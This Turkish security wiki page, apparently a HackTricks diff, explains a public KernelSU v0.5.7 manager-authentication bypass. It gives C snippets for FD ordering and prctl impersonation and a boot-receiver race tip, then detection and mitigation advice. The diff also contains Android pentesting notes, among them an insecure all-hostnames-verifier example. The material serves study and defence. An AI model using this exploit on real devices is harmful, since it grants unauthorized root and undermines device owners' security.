Bu sayfa, hem kırmızı hem de mavi takımların saldırı yüzeylerini, istismar ilkelerini ve sağlam önlemleri anlamalarına yardımcı olmak için kamu araştırmalarında (özellikle Zimperium'un KernelSU v0.5.7 analizi) ortaya çıkan teknikleri ve tuzakları özetlemektedir.
|
||||
|
||||
---
|
||||
## Mimari deseni: syscall-bağlı yönetici kanalı
|
||||
|
||||
- Çekirdek modülü/yaması, kullanıcı alanından "komutlar" almak için bir syscall'ı (genellikle prctl) bağlar.
|
||||
- Protokol genellikle şudur: magic_value, command_id, arg_ptr/len ...
|
||||
- Bir kullanıcı alanı yönetici uygulaması önce kimlik doğrulaması yapar (örneğin, CMD_BECOME_MANAGER). Çekirdek çağrıyı güvenilir bir yönetici olarak işaretlediğinde, ayrıcalıklı komutlar kabul edilir:
|
||||
- Çağrıcıya kök yetkisi ver (örneğin, CMD_GRANT_ROOT)
|
||||
- su için izin listelerini/yasak listelerini yönet
|
||||
- SELinux politikasını ayarla (örneğin, CMD_SET_SEPOLICY)
|
||||
- Sürüm/yapılandırma sorgula
|
||||
- Herhangi bir uygulama syscall'ları çağırabileceğinden, yönetici kimlik doğrulamasının doğruluğu kritik öneme sahiptir.
|
||||
|
||||
Örnek (KernelSU tasarımı):
|
||||
- Bağlı syscall: prctl
|
||||
- KernelSU işleyicisine yönlendirmek için magic değer: 0xDEADBEEF
|
||||
- Komutlar arasında: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, vb.
|
||||
|
||||
---
|
||||
## KernelSU v0.5.7 kimlik doğrulama akışı (uygulanan şekliyle)
|
||||
|
||||
Kullanıcı alanı prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) çağırdığında, KernelSU doğrular:
|
||||
|
||||
1) Yol ön eki kontrolü
|
||||
- Sağlanan yol, çağrıcı UID'si için beklenen bir ön ek ile başlamalıdır, örneğin /data/data/<pkg> veya /data/user/<id>/<pkg>.
|
||||
- Referans: core_hook.c (v0.5.7) yol ön eki mantığı.
|
||||
|
||||
2) Mülkiyet kontrolü
|
||||
- Yol, çağrıcı UID'sine ait olmalıdır.
|
||||
- Referans: core_hook.c (v0.5.7) mülkiyet mantığı.
|
||||
|
||||
3) APK imza kontrolü FD tablosu taraması ile
|
||||
- Çağıran sürecin açık dosya tanımlayıcılarını (FD'leri) yinele.
|
||||
- Yolunun /data/app/*/base.apk ile eşleştiği ilk dosyayı seç.
|
||||
- APK v2 imzasını ayrıştır ve resmi yönetici sertifikası ile doğrula.
|
||||
- Referanslar: manager.c (FD'leri yineleme), apk_sign.c (APK v2 doğrulama).
|
||||
|
||||
Tüm kontroller geçerse, çekirdek yöneticinin UID'sini geçici olarak önbelleğe alır ve o UID'den ayrıcalıklı komutları kabul eder.
|
||||
|
||||
---
|
||||
## Zafiyet sınıfı: FD yinelemesinden "ilk eşleşen APK"ya güvenme
|
||||
|
||||
İmza kontrolü, süreç FD tablosunda bulunan "ilk eşleşen /data/app/*/base.apk" ile bağlandığında, aslında çağrıcının kendi paketini doğrulamıyor. Bir saldırgan, kendi base.apk'sinden daha önce FD listesinde görünecek şekilde, meşru bir şekilde imzalanmış bir APK'yı (gerçek yöneticinin) önceden konumlandırabilir.
|
||||
|
||||
Bu dolaylı güven, yetkisiz bir uygulamanın yöneticiyi taklit etmesine olanak tanır; yöneticinin imzalama anahtarına sahip olmadan.
|
||||
|
||||
Sömürülen ana özellikler:
|
||||
- FD taraması, çağrıcının paket kimliğine bağlanmaz; yalnızca yol dizelerini kalıp eşleştirir.
|
||||
- open() en düşük mevcut FD'yi döner. Daha düşük numaralı FD'leri önce kapatarak, bir saldırgan sıralamayı kontrol edebilir.
|
||||
- Filtre yalnızca yolun /data/app/*/base.apk ile eşleşip eşleşmediğini kontrol eder - çağrıcının yüklü paketi ile ilgili olup olmadığını kontrol etmez.
|
||||
|
||||
---
|
||||
## Saldırı ön koşulları
|
||||
|
||||
- Cihaz, zaten zayıf bir rooting framework'ü ile köklenmiştir (örneğin, KernelSU v0.5.7).
|
||||
- Saldırgan, yerel olarak rastgele yetkisiz kod çalıştırabilir (Android uygulama süreci).
|
||||
- Gerçek yönetici henüz kimlik doğrulaması yapmamıştır (örneğin, bir yeniden başlatmadan hemen sonra). Bazı framework'ler, başarıdan sonra yönetici UID'sini önbelleğe alır; yarışı kazanmalısınız.
|
||||
|
||||
---
|
||||
## Sömürü taslağı (KernelSU v0.5.7)
|
||||
|
||||
Yüksek seviyeli adımlar:
|
||||
1) Ön ek ve mülkiyet kontrollerini karşılamak için kendi uygulama veri dizininize geçerli bir yol oluşturun.
|
||||
2) Gerçek bir KernelSU Yönetici base.apk'sinin, kendi base.apk'nizden daha düşük numaralı bir FD'de açıldığından emin olun.
|
||||
3) prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) çağırarak kontrolleri geçin.
|
||||
4) CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY gibi ayrıcalıklı komutlar vererek yükselmeyi kalıcı hale getirin.
|
||||
|
||||
Adım 2 (FD sıralaması) hakkında pratik notlar:
|
||||
- /proc/self/fd symlink'lerini yürüyerek kendi /data/app/*/base.apk'niz için sürecinizin FD'sini belirleyin.
|
||||
- Düşük bir FD'yi (örneğin, stdin, fd 0) kapatın ve meşru yönetici APK'sını önce açarak fd 0'ı (veya kendi base.apk fd'nizden daha düşük bir indeksi) kaplayın.
|
||||
- Meşru yönetici APK'sını uygulamanızla birleştirerek yolunun çekirdeğin basit filtresini karşılamasını sağlayın. Örneğin, /data/app/*/base.apk ile eşleşen bir alt yol altında yerleştirin.
|
||||
|
||||
Örnek kod parçacıkları (Android/Linux, yalnızca gösterim amaçlı):
|
||||
|
||||
Açık FD'leri listeleyerek base.apk girişlerini bul:
|
||||
```c
|
||||
#include <dirent.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
|
||||
DIR *d = opendir("/proc/self/fd");
|
||||
if (!d) return -1;
|
||||
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
|
||||
int best_fd = -1;
|
||||
while ((e = readdir(d))) {
|
||||
if (e->d_name[0] == '.') continue;
|
||||
int fd = atoi(e->d_name);
|
||||
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
|
||||
ssize_t n = readlink(link, p, sizeof(p)-1);
|
||||
if (n <= 0) continue; p[n] = '\0';
|
||||
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
|
||||
if (best_fd < 0 || fd < best_fd) {
|
||||
best_fd = fd; strncpy(out_path, p, PATH_MAX);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
return best_fd; // First (lowest) matching fd
|
||||
}
|
||||
```
|
||||
Daha düşük numaralı bir FD'yi meşru yönetici APK'sına işaret edecek şekilde zorlayın:
|
||||
```c
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
|
||||
// Reuse stdin (fd 0) if possible so the next open() returns 0
|
||||
close(0);
|
||||
int fd = open(legit_apk_path, O_RDONLY);
|
||||
(void)fd; // fd should now be 0 if available
|
||||
}
|
||||
```
|
||||
Manager kimlik doğrulaması prctl hook aracılığıyla:
|
||||
```c
|
||||
#include <sys/prctl.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define KSU_MAGIC 0xDEADBEEF
|
||||
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
|
||||
|
||||
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
|
||||
unsigned long arg3, unsigned long arg4) {
|
||||
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
int become_manager(const char *my_data_dir) {
|
||||
long result = -1;
|
||||
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
|
||||
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
|
||||
return (int)result;
|
||||
}
|
||||
```
|
||||
Başarıdan sonra, ayrıcalıklı komutlar (örnekler):
|
||||
- CMD_GRANT_ROOT: mevcut süreci root olarak yükselt
|
||||
- CMD_ALLOW_SU: paketini/UID'ni kalıcı su için izin listesine ekle
|
||||
- CMD_SET_SEPOLICY: çerçeve tarafından desteklenen SELinux politikasını ayarla
|
||||
|
||||
Yarış/persistans ipucu:
|
||||
- AndroidManifest'te bir BOOT_COMPLETED alıcısı kaydet (RECEIVE_BOOT_COMPLETED) böylece yeniden başlatmadan sonra erken başlatılır ve gerçek yöneticiden önce kimlik doğrulama girişiminde bulunur.
|
||||
|
||||
---
|
||||
## Tespit ve hafifletme rehberi
|
||||
|
||||
Çerçeve geliştiricileri için:
|
||||
- Kimlik doğrulamayı çağıranın paketine/UID'sine bağlayın, rastgele FD'lere değil:
|
||||
- Çağıranın paketini UID'sinden çözün ve yüklenmiş paket imzasıyla doğrulayın (PackageManager aracılığıyla) FD'leri taramak yerine.
|
||||
- Sadece çekirdekse, kararlı çağıran kimliğini (görev kimlik bilgileri) kullanın ve init/kullanıcı alanı yardımcıları tarafından yönetilen kararlı bir gerçeklik kaynağında doğrulayın, işlem FD'leri üzerinde değil.
|
||||
- Kimlik olarak yol-ön ek kontrolünden kaçının; bunlar çağıran tarafından kolayca tatmin edilebilir.
|
||||
- Kanal üzerinden nonce tabanlı meydan okuma-yanıt kullanın ve önyükleme sırasında veya önemli olaylarda önbelleğe alınmış yöneticinin kimliğini temizleyin.
|
||||
- Mümkünse, genel sistem çağrılarını aşırı yüklemek yerine binder tabanlı kimlik doğrulamalı IPC'yi düşünün.
|
||||
|
||||
Savunucular/mavi takım için:
|
||||
- Kökleme çerçevelerinin ve yönetici süreçlerinin varlığını tespit edin; çekirdek telemetriniz varsa şüpheli sihirli sabitlerle (örneğin, 0xDEADBEEF) prctl çağrılarını izleyin.
|
||||
- Yönetilen filolarda, önyüklemeden sonra ayrıcalıklı yönetici komutlarını hızlı bir şekilde denemeye çalışan güvensiz paketlerden gelen önyükleme alıcılarını engelleyin veya uyarın.
|
||||
- Cihazların yamanmış çerçeve sürümlerine güncellendiğinden emin olun; güncelleme sırasında önbelleğe alınmış yönetici kimliklerini geçersiz kılın.
|
||||
|
||||
Saldırının sınırlamaları:
|
||||
- Sadece zaten köklenmiş ve savunmasız bir çerçeveye sahip cihazları etkiler.
|
||||
- Genellikle, meşru yöneticinin kimlik doğrulamasından önce bir yeniden başlatma/yarış penceresi gerektirir (bazı çerçeveler yöneticinin UID'sini sıfırlanana kadar önbelleğe alır).
|
||||
|
||||
---
|
||||
## Çerçeveler arası ilgili notlar
|
||||
|
||||
- Şifre tabanlı kimlik doğrulama (örneğin, tarihsel APatch/SKRoot sürümleri) şifreler tahmin edilebilir/bruteforce edilebilir veya doğrulamalar hatalıysa zayıf olabilir.
|
||||
- Paket/imza tabanlı kimlik doğrulama (örneğin, KernelSU) prensipte daha güçlüdür ancak gerçek çağırana bağlanmalıdır, dolaylı nesnelere değil, FD taramalarına.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP), olgun ekosistemlerin bile kimlik sahteciliğine karşı hassas olabileceğini ve yöneticinin bağlamında root ile kod yürütmeye yol açabileceğini gösterdi.
|
||||
|
||||
---
|
||||
## Referanslar
|
||||
|
||||
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
|
||||
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
|
||||
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
|
||||
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
|
||||
- [KernelSU project](https://kernelsu.org/)
|
||||
- [APatch](https://github.com/bmax121/APatch)
|
||||
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
|
||||
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
|
||||
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -13,20 +13,20 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer birçok işlevi mümkün kılar.
|
||||
**ADB**, bir bilgisayardan **USB** veya **Ağ** üzerinden cihazları kontrol etmenizi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer işlevleri sağlar.
|
||||
|
||||
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın.
|
||||
|
||||
## Smali
|
||||
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
|
||||
[**Bu eğitimde** bir APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
|
||||
## Diğer ilginç ipuçları
|
||||
## Diğer ilginç hileler
|
||||
|
||||
- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
|
||||
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Ayrıcalıklı API (ADB tabanlı köksüz ayrıcalıklı erişim)](shizuku-privileged-api.md)
|
||||
- [Güvensiz Uygulama İçi Güncelleme Mekanizmalarını Sömürme](insecure-in-app-update-rce.md)
|
||||
- [Güvensiz Uygulama İçi Güncelleme Mekanizmalarını Sömürmek](insecure-in-app-update-rce.md)
|
||||
- [Erişilebilirlik Hizmetlerini Kötüye Kullanma (Android RAT)](accessibility-services-abuse.md)
|
||||
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Cihazdan APK çıkarın:
|
||||
@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Statik Analiz
|
||||
|
||||
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\
|
||||
@ -61,7 +65,7 @@ Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı ok
|
||||
|
||||
### İlginç Bilgiler Aramak
|
||||
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulamaya sabitlenmiş yönetici kimlik bilgileri) için bile bakın.
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -69,23 +73,23 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
|
||||
|
||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
|
||||
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp ardından açılarak erişilebilir.
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp açılarak erişilebilir.
|
||||
|
||||
**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır:
|
||||
|
||||
- **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Hata ayıklanabilir uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda hata ayıklanabilir uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir (`debuggable="true"`) olarak ayarlanan uygulamalar, istismara yol açabilecek bağlantılara izin verdiği için risk taşır. Hata ayıklanabilir uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda hata ayıklanabilir uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
|
||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, özellikle URL şemalarının giriş açıkları için nasıl yönetildiğine dikkat edilmelidir.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, bu da güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini gösterir ve güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesi önemlidir.
|
||||
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir; bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerektiğini vurgular.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, oysa etkileşimi kurban uygulamasına iletmektedir.\
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu sırada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
Daha fazla bilgi için:
|
||||
@ -108,26 +112,26 @@ android-task-hijacking.md
|
||||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar dahil, bu dosyalara erişimi **kısıtlamaz**.
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
|
||||
|
||||
1. **Statik Analiz:**
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
2. **Dinamik Analiz:**
|
||||
- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
- Uygulama tarafından oluşturulan dosyaların **izinlerini** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir olarak ayarlanıp ayarlanmadığını kontrol edin**. Bu, **cihazda yüklü olan herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
|
||||
**Harici Depolama**
|
||||
|
||||
**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır:
|
||||
**Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
|
||||
|
||||
1. **Erişilebilirlik**:
|
||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
2. **Güvenlik Endişeleri**:
|
||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri harici depolamada saklamamanız önerilir**.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
|
||||
|
||||
@ -143,18 +147,18 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında *
|
||||
|
||||
**Tüm Sertifikaları Kabul Etme**
|
||||
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler, örneğin ana bilgisayar adı kod satırlarıyla eşleşmese bile tüm sertifikaları kabul ederler:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Bir bunu test etmenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır; ancak cihaz içinde Burp CA'yı yetkilendirmemelisiniz. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
|
||||
### Kırık Kriptografi
|
||||
|
||||
**Zayıf Anahtar Yönetim Süreçleri**
|
||||
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına izin verebilir.
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
|
||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
|
||||
|
||||
@ -170,7 +174,7 @@ Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **
|
||||
|
||||
### React Native Uygulaması
|
||||
|
||||
React uygulamalarının javascript koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun:
|
||||
React uygulamalarının javascript koduna kolayca erişmek için aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -178,7 +182,7 @@ react-native-application.md
|
||||
|
||||
### Xamarin Uygulamaları
|
||||
|
||||
Xamarin uygulamalarının C# koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun:
|
||||
Xamarin uygulamalarının C# koduna kolayca erişmek için aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
@ -194,11 +198,11 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met
|
||||
|
||||
